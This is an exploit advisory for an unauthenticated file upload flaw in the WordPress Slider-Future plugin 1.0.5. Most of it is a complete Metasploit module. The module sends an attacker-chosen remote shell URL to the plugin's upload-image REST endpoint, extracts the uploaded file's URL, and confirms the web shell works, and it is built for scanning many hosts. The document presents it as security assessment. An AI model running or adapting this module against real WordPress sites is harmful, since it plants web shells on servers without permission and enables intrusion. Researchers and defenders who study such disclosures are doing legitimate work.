============================================================================================================================================= | # Title : WordPress Slider‑Future 1.0.5 Unauthenticated File Upload Vulnerability | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) | | # Vendor : https://fr.wordpress.org/plugins/slider-future/ | ============================================================================================================================================= [+] Summary : This auxiliary scanning module is designed for security assessment purposes to identify a potential unauthenticated file upload vulnerability in the WordPress Slider-Future plugin REST API endpoint. The module performs the following high-level actions: Sends a crafted POST request to the plugin’s REST endpoint. Parses JSON or raw responses to extract returned file URLs. Validates accessibility of the uploaded resource. Handles DNS resolution, internal vs. external host validation, and redirect chains. Implements timeout control and configurable redirect limits. Reports confirmed findings within the Metasploit reporting framework. The module includes structured error handling, JSON parsing fallback logic, and connection cleanup routines to ensure operational stability during large-scale scanning. [+] POC : ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'json' require 'uri' class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Scanner include Msf::Auxiliary::Report def initialize(info = {}) super( update_info( info, 'Name' => 'WordPress Slider-Future Shell Uploader Scanner (Final Stable)', 'Description' => %q{ This module exploits an arbitrary file upload vulnerability in the WordPress Slider-Future plugin via the /wp-json/slider-future/v1/upload-image/ endpoint. It features DNS resolution, redirect following, and robust signature verification. }, 'Author' => [ 'indoushka' ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2026-1405'] ], 'DisclosureDate' => '2026-01-01' ) ) register_options( [ OptString.new('TARGETURI', [true, 'The base path to WordPress', '/']), OptString.new('SHELL_URL', [true, 'URL of the remote shell to fetch', '']), OptString.new('SIGNATURE', [true, 'Mandatory signature to verify shell content', '']), OptInt.new('TIMEOUT', [true, 'Timeout for requests', 20]), OptInt.new('MAX_REDIRECTS', [true, 'Maximum number of redirects to follow', 3]) ] ) end def run_host(ip) return if datastore['SHELL_URL'].to_s.empty? api_path = normalize_uri(target_uri.path, 'wp-json', 'slider-future', 'v1', 'upload-image') vprint_status("#{ip}:#{rport} - Attempting exploitation...") res = send_request_cgi({ 'method' => 'POST', 'uri' => api_path, 'vars_post' => { 'image_url' => datastore['SHELL_URL'] } }, datastore['TIMEOUT']) if res && res.code == 200 parse_and_verify(res, ip) else vprint_error("#{ip}:#{rport} - Upload failed (HTTP #{res ? res.code : 'No Response'})") end end def parse_and_verify(res, ip) begin json_data = res.get_json_document rescue JSON::ParserError json_data = nil end shell_url = nil if json_data && json_data['url'] shell_url = json_data['url'].gsub('\\/', '/') else match = res.body.match(/"url"\s*:\s*"([^"]+)"/) shell_url = match[1].gsub('\\/', '/') if match end if shell_url print_good("#{ip}:#{rport} - Extracted URL: #{shell_url}") verify_uploaded_file(shell_url, ip) end end def verify_uploaded_file(file_url, ip) begin uri = URI.parse(file_url) sig = datastore['SIGNATURE'] uri_port = uri.port || (uri.scheme == 'https' ? 443 : 80) begin resolved_host = Rex::Socket.getaddress(uri.host) rescue resolved_host = nil end if resolved_host == ip && uri_port == rport v_res = send_request_cgi({ 'method' => 'GET', 'uri' => uri.path }, datastore['TIMEOUT']) else v_res = fetch_externally(uri) end if v_res && v_res.code == 200 && v_res.body.include?(sig) ctype = v_res.headers['Content-Type'].to_s if ctype =~ /text\/plain|application\/octet-stream|php/i || ctype.empty? print_good("#{ip}:#{rport} - [SUCCESS] Shell verified and signature matched.") report_vuln( host: ip, port: rport, name: self.name, refs: self.references, info: "Verified Shell URL: #{file_url}" ) end else vprint_warning("#{ip}:#{rport} - Uploaded, but verification failed (Signature Mismatch).") end rescue => e vprint_error("#{ip}:#{rport} - Verification error: #{e.message}") end end def fetch_externally(uri, limit = datastore['MAX_REDIRECTS']) return nil if limit < 0 cli = nil begin cli = Rex::Proto::Http::Client.new( uri.host, uri.port || (uri.scheme == 'https' ? 443 : 80), {}, (uri.scheme == 'https'), datastore['Proxies'] ) cli.connect req = cli.request_raw({ 'method' => 'GET', 'uri' => uri.path }) res = cli.send_recv(req, datastore['TIMEOUT']) if res && res.code.between?(300, 399) && res.headers['Location'] new_uri = URI.parse(res.headers['Location']) new_uri.host ||= uri.host new_uri.scheme ||= uri.scheme new_uri.port ||= uri.port vprint_status("Following redirect to: #{new_uri}") cli.close return fetch_externally(new_uri, limit - 1) end res rescue => e vprint_error("External connection to #{uri.host} failed: #{e.message}") nil ensure cli.close if cli end end end Greetings to :============================================================================== jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)| ============================================================================================